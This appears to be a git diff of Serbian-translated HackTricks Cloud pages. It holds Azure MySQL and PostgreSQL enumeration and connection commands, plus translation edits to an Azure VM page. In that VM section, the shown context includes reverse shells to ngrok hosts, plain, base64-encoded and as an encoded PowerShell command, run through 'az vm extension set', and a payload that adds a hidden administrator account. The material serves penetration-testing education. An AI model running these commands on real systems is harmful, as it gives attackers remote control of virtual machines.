- Pruža veću kontrolu nad upravljanjem i konfiguracijom baze podataka.
|
||||
- Podržava visoku dostupnost (isti pojas i redundantni pojas).
|
||||
- Karakteristike uključuju elastično skaliranje, upravljanje zakrpama i optimizaciju opterećenja.
|
||||
- Nudi funkcionalnost za zaustavljanje/pokretanje radi uštede troškova.
|
||||
|
||||
### Ključne Karakteristike
|
||||
* **Upravljanje Serverom**: **ad-admin** funkcija omogućava upravljanje Azure Active Directory (AAD) administratorima za MySQL servere, pružajući kontrolu nad administrativnim pristupom putem AAD akreditiva, dok **identity** funkcija omogućava dodeljivanje i upravljanje Azure Managed Identities, nudeći sigurnu, autentifikaciju bez akreditiva za pristup Azure resursima.
|
||||
* **Upravljanje Životnim Ciklusom**: opcije za pokretanje ili zaustavljanje servera, brisanje instance fleksibilnog servera, ponovo pokretanje servera radi brzog primene promena konfiguracije, i čekanje da se osigura da server ispunjava određene uslove pre nego što se nastavi sa automatizovanim skriptama.
|
||||
* **Sigurnost i Mrežno Povezivanje**: može upravljati pravilima vatrozida servera za siguran pristup bazi podataka i odvojiti konfiguracije virtuelne mreže po potrebi.
|
||||
* **Zaštita Podataka i Rezervne Kopije**: uključuje opcije za upravljanje rezervnim kopijama fleksibilnog servera za oporavak podataka, izvođenje geo-obnavljanja za oporavak servera u drugoj regiji, izvoz rezervnih kopija servera za spoljašnju upotrebu (u Preview), i obnavljanje servera iz rezervne kopije na određenu tačku u vremenu.
|
||||
|
||||
### Enumeracija
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List all flexible-servers
|
||||
az mysql flexible-server db list --resource-group <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
az mysql flexible-server db list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# Show specific details of a MySQL database
|
||||
az mysql flexible-server db show --resource-group <resource-group-name> --server-name <server_name> --database-name <database_name>
|
||||
|
||||
# List firewall rules of the a server
|
||||
az mysql flexible-server firewall-rule list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# List all ad-admin in a server
|
||||
az mysql flexible-server ad-admin list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List all user assigned managed identities from the server
|
||||
az mysql flexible-server identity list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List the server backups
|
||||
az mysql flexible-server backup list --resource-group <resource-group-name> --name <server_name>
|
||||
# List all read replicas for a given server
|
||||
az mysql flexible-server replica list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
az mysql flexible-server advanced-threat-protection-setting show --resource-group <resource-group-name> --name <server_name>
|
||||
# List all of the maintenances of a flexible server
|
||||
az mysql flexible-server maintenance list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List log files for a server.
|
||||
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.MySql
|
||||
|
||||
# Get all flexible servers in a resource group
|
||||
Get-AzMySqlFlexibleServer -ResourceGroupName <resource-group-name>
|
||||
|
||||
# List databases in a specific flexible server
|
||||
Get-AzMySqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get details of a specific database in a flexible server
|
||||
Get-AzMySqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name> -DatabaseName <database_name>
|
||||
|
||||
# List all firewall rules for a flexible server
|
||||
Get-AzMySqlFlexibleServerFirewallRule -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the identity information of a flexible server
|
||||
Get-AzMySqlFlexibleServerIdentity -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
Get-AzMySqlFlexibleServerAdvancedThreatProtection -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List configuration settings of a flexible server
|
||||
Get-AzMySqlFlexibleServerConfiguration -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
# Get the connection string for a flexible server
|
||||
Get-AzMySqlFlexibleServerConnectionString -ResourceGroupName <resource-group-name> -ServerName <server_name> -Client <client>
|
||||
|
||||
# List all read replicas for a given server
|
||||
Get-AzMySqlFlexibleServerReplica -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the maintenance window details for a flexible server
|
||||
Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List log files for a server
|
||||
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Povezivanje
|
||||
|
||||
Sa ekstenzijom rdbms-connect možete pristupiti bazi podataka sa:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
#or execute commands
|
||||
az mysql flexible-server execute \
|
||||
-n <server-name> \
|
||||
-u <username> \
|
||||
-p "<password>" \
|
||||
-d <database-name> \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ili sa MySQL nativnim ekstenzijskim pluginom
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Takođe možete izvršavati upite sa github-om, ali su potrebni i lozinka i korisničko ime. Morate postaviti sql datoteku sa upitom koji želite da izvršite, a zatim:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Setup
|
||||
az mysql flexible-server deploy setup \
|
||||
-s <server-name> \
|
||||
-g <resource-group> \
|
||||
-u <admin-user> \
|
||||
-p "<admin-password>" \
|
||||
--sql-file <path-to-sql-file> \
|
||||
--repo <github-username/repository-name> \
|
||||
--branch <branch-name> \
|
||||
--action-name <action-name> \
|
||||
--allow-push
|
||||
|
||||
# Run it
|
||||
az mysql flexible-server deploy run \
|
||||
--action-name <action-name> \
|
||||
--branch <branch-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Eskalacija privilegija
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
|
||||
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Post eksploatacija
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
|
||||
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ToDo
|
||||
|
||||
* Potraži način da se pristupi mysql flexible-server ad-admin da se verifikuje da li je to metoda eskalacije privilegija
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Uči i vežbaj AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Uči i vežbaj GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podrži HackTricks</summary>
|
||||
|
||||
* Proveri [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridruži se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **prati** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podeli hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
173
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
Normal file
173
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
Normal file
@@ -0,0 +1,173 @@
|
||||
# Az - PostgreSQL Baze Podataka
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure PostgreSQL
|
||||
**Azure Database for PostgreSQL** je potpuno upravljana **relacijska baza podataka zasnovana na PostgreSQL** Community Edition. Dizajnirana je da pruži skalabilnost, sigurnost i fleksibilnost za različite potrebe aplikacija. Slično kao Azure MySQL, PostgreSQL nudi dva modela implementacije:
|
||||
|
||||
* **Single Server** (na putu povlačenja):
|
||||
- Optimizovana za jednostavne, isplative PostgreSQL implementacije.
|
||||
- Sadrži automatske rezervne kopije, osnovno praćenje i visoku dostupnost.
|
||||
- Idealna za aplikacije sa predvidivim opterećenjima.
|
||||
* **Flexible Server**:
|
||||
- Pruža veću kontrolu nad upravljanjem i konfiguracijom baze podataka.
|
||||
- Podržava visoku dostupnost, kako u istoj zoni, tako i između zona.
|
||||
- Sadrži elastično skaliranje, automatsko održavanje i funkcionalnost za uštedu troškova.
|
||||
- Omogućava pokretanje i zaustavljanje servera radi optimizacije troškova.
|
||||
|
||||
### Ključne Karakteristike
|
||||
|
||||
* **Prilagođena Održavanja**: Planirajte ažuriranja kako biste minimizovali prekide.
|
||||
* **Aktivno Praćenje**: Pristupite detaljnim metrikama i logovima za praćenje i poboljšanje performansi baze podataka.
|
||||
* **Zaustavi/Pokreni Server**: Korisnici mogu zaustaviti i pokrenuti server.
|
||||
* **Automatske Rezervne Kopije**: Ugrađene dnevne rezervne kopije sa periodima čuvanja konfigurabilnim do 35 dana.
|
||||
* **Pristup na Bazi Rolama**: Kontrolišite dozvole korisnika i administrativni pristup putem Azure Active Directory.
|
||||
* **Sigurnost i Mrežno Povezivanje**: može upravljati pravilima vatrozida servera za siguran pristup bazi podataka i odvojiti konfiguracije virtuelne mreže po potrebi.
|
||||
|
||||
### Enumeracija
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List servers in a resource group
|
||||
az postgres flexible-server list --resource-group <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
az postgres flexible-server db list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# Show specific details of a Postgre database
|
||||
az postgres flexible-server db show --resource-group <resource-group-name> --server-name <server_name> --database-name <database_name>
|
||||
|
||||
# List firewall rules of the a server
|
||||
az postgres flexible-server firewall-rule list --resource-group <resource-group-name> --name <server_name>
|
||||
# List parameter values for a felxible server
|
||||
az postgres flexible-server parameter list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List private link
|
||||
az postgres flexible-server private-link-resource list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List all ad-admin in a server
|
||||
az postgres flexible-server ad-admin list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List all user assigned managed identities from the server
|
||||
az postgres flexible-server identity list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List the server backups
|
||||
az postgres flexible-server backup list --resource-group <resource-group-name> --name <server_name>
|
||||
# List all read replicas for a given server
|
||||
az postgres flexible-server replica list --resource-group <resource-group-name> --name <server_name>
|
||||
# List migrations
|
||||
az postgres flexible-server migration list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
az postgres flexible-server advanced-threat-protection-setting show --resource-group <resource-group-name> --name <server_name>
|
||||
# List all of the maintenances of a flexible server
|
||||
az postgres flexible-server maintenance list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List log files for a server.
|
||||
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.PostgreSql
|
||||
|
||||
# List flexible-servers in a resource group
|
||||
Get-AzPostgreSqlFlexibleServer -ResourceGroupName <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
Get-AzPostgreSqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List firewall rules of the a flexible-server
|
||||
Get-AzPostgreSqlFlexibleServerFirewallRule -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List configuration settings of a flexible server
|
||||
Get-AzPostgreSqlFlexibleServerConfiguration -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
# Get the connection string for a flexible server
|
||||
Get-AzPostgreSqlFlexibleServerConnectionString -ResourceGroupName <resource-group-name> -ServerName <server_name> -Client <client>
|
||||
|
||||
Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
|
||||
|
||||
# List servers in a resource group
|
||||
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Povezivanje
|
||||
|
||||
Sa ekstenzijom rdbms-connect možete pristupiti bazi podataka sa:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
#or execute commands
|
||||
az postgres flexible-server execute \
|
||||
-n <server-name> \
|
||||
-u <username> \
|
||||
-p "<password>" \
|
||||
-d <database-name> \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ili
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
|
||||
|
||||
## Eskalacija privilegija
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
|
||||
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Post Eksploatacija
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
|
||||
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ToDo
|
||||
|
||||
* Potraži način da se pristupi sa ad-admin da se verifikuje da li je to metoda eskalacije privilegija
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Uči i vežbaj AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Uči i vežbaj GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podrži HackTricks</summary>
|
||||
|
||||
* Proveri [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridruži se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **prati** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podeli hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -19,7 +19,7 @@ Azure virtuelne mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani n
|
||||
- **Zone dostupnosti**: Zone dostupnosti su različite grupe datacentara unutar specifične Azure regije koje su fizički odvojene kako bi se smanjio rizik od uticaja lokalnih prekida ili katastrofa na više zona.
|
||||
- **Tip bezbednosti**:
|
||||
- **Standardna bezbednost**: Ovo je podrazumevani tip bezbednosti koji ne zahteva nikakvu specifičnu konfiguraciju.
|
||||
- **Pouzdano pokretanje**: Ovaj tip bezbednosti poboljšava zaštitu od boot kitova i malvera na nivou jezgra korišćenjem Secure Boot-a i Virtual Trusted Platform Module (vTPM).
|
||||
- **Pouzdano pokretanje**: Ovaj tip bezbednosti poboljšava zaštitu od boot kitova i malvera na nivou jezgra korišćenjem Secure Boot-a i Virtuelnog pouzdanog platformskog modula (vTPM).
|
||||
- **Poverljive VM-ove**: Pored pouzdanog pokretanja, nudi hardversku izolaciju između VM-a, hipervizora i host menadžmenta, poboljšava enkripciju diska i [**više**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Autentifikacija**: Podrazumevano se generiše nova **SSH ključ**, iako je moguće koristiti javni ključ ili prethodni ključ, a podrazumevano korisničko ime je **azureuser**. Takođe je moguće konfigurirati korišćenje **lozinke.**
|
||||
- **Enkripcija diska VM-a:** Disk je podrazumevano enkriptovan kada je u mirovanju koristeći ključ koji upravlja platforma.
|
||||
@@ -39,7 +39,7 @@ Azure virtuelne mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani n
|
||||
- Ukupna mreža izlaz je veća od 200GB
|
||||
- VmAvailabilityMetric je manji od 1
|
||||
- **Monitor zdravlja**: Podrazumevano proverava protokol HTTP na portu 80
|
||||
- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne i obrisan (**CanNotDelete** zaključavanje).
|
||||
- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne može biti obrisan (**CanNotDelete** zaključavanje).
|
||||
- Većina resursa povezanih sa VM-ovima **takođe podržava zaključavanja** kao što su diskovi, snimci...
|
||||
- Zaključavanja se takođe mogu primeniti na **nivoima grupe resursa i pretplate**
|
||||
|
||||
@@ -74,12 +74,12 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Slike, Galerijske slike i Tačke vraćanja
|
||||
## Slike, Galerijske Slike i Tačke Obnavljanja
|
||||
|
||||
**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u tački vremena jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\
|
||||
**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u određenom trenutku jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\
|
||||
Slike se mogu upravljati u **odeljku Slike** u Azure-u ili unutar **Azure compute galerija** koje omogućavaju generisanje **verzija** i **deljenje** slike između različitih korisnika, pa čak i njeno postavljanje kao javne.
|
||||
|
||||
**Tačka vraćanja** čuva konfiguraciju VM-a i **snapshots** aplikacija u tački vremena koji su dosledni za sve upravljane diskove povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u toj specifičnoj tački.
|
||||
**Tačka obnavljanja** čuva konfiguraciju VM-a i **snapshots** aplikacija u određenom trenutku koji su dosledni za sve upravljane diskove povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -193,10 +193,10 @@ Azure Instance Metadata Service (IMDS) **pruža informacije o aktivnim instancam
|
||||
|
||||
Pored toga, da bi se kontaktirao metadata endpoint, HTTP zahtev mora imati zaglavlje **`Metadata: true`** i ne sme imati zaglavlje **`X-Forwarded-For`**.
|
||||
|
||||
Proverite kako ga enumerisati u:
|
||||
Proverite kako da ga enumerišete u:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
## VM Enumeration
|
||||
@@ -462,7 +462,7 @@ Moguće je **pokrenuti prilagođene ekstenzije koje izvršavaju prilagođeni kod
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Izvrši reverznu ljusku
|
||||
- Izvrši reverznu školjku
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
@@ -478,7 +478,7 @@ az vm extension set \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
- Izvršite skriptu smeštenu na internetu
|
||||
- Izvršite skriptu koja se nalazi na internetu
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
@@ -509,7 +509,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Izvrši reverznu ljusku iz datoteke
|
||||
- Izvrši reverznu školjku iz fajla
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -522,7 +522,7 @@ az vm extension set \
|
||||
```
|
||||
Možete takođe izvršiti druge payload-ove kao što su: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Resetujte lozinku koristeći VMAccess ekstenziju
|
||||
- Resetovanje lozinke koristeći VMAccess ekstenziju
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -627,7 +627,7 @@ Proverite kako da instalirate nove aplikacije na [https://learn.microsoft.com/en
|
||||
> [!CAUTION]
|
||||
> Moguće je **deliti pojedinačne aplikacije i galerije sa drugim pretplatama ili zakupcima**. Što je veoma zanimljivo jer bi to moglo omogućiti napadaču da unese backdoor u aplikaciju i pređe na druge pretplate i zakupce.
|
||||
|
||||
Ali ne **postoji "marketplace" za vm aplikacije** kao što postoji za ekstenzije.
|
||||
Ali **ne postoji "marketplace" za vm aplikacije** kao što postoji za ekstenzije.
|
||||
|
||||
Potrebne dozvole su:
|
||||
|
||||
@@ -721,7 +721,7 @@ az vm application set \
|
||||
|
||||
### Korisnički podaci
|
||||
|
||||
Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci se razlikuju od AWS i GCP jer **ako ovde postavite skriptu, ona se po defaultu ne izvršava**.
|
||||
Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci se razlikuju od AWS i GCP jer **ako ovde stavite skriptu, ona se po defaultu ne izvršava**.
|
||||
|
||||
### Prilagođeni podaci
|
||||
|
||||
@@ -729,9 +729,9 @@ Moguće je proslediti neke podatke VM-u koji će biti sačuvani na očekivanim p
|
||||
|
||||
- U **Windows** prilagođeni podaci se smeštaju u `%SYSTEMDRIVE%\AzureData\CustomData.bin` kao binarni fajl i ne obrađuju se.
|
||||
- U **Linux** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Linux agent**: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućenim podacima
|
||||
- **Linux agent**: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućеним podacima
|
||||
- **cloud-init:** Po defaultu obrađuje prilagođene podatke i ovi podaci mogu biti u [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Može lako izvršiti skriptu jednostavno slanjem samo skripte u prilagođenim podacima.
|
||||
- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde postavite.
|
||||
- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju stavite ovde.
|
||||
- Takođe nije potrebno omogućiti korisničke podatke da bi ovo bilo izvršeno.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
|
||||
```
|
||||
### **Pokreni Komandu**
|
||||
|
||||
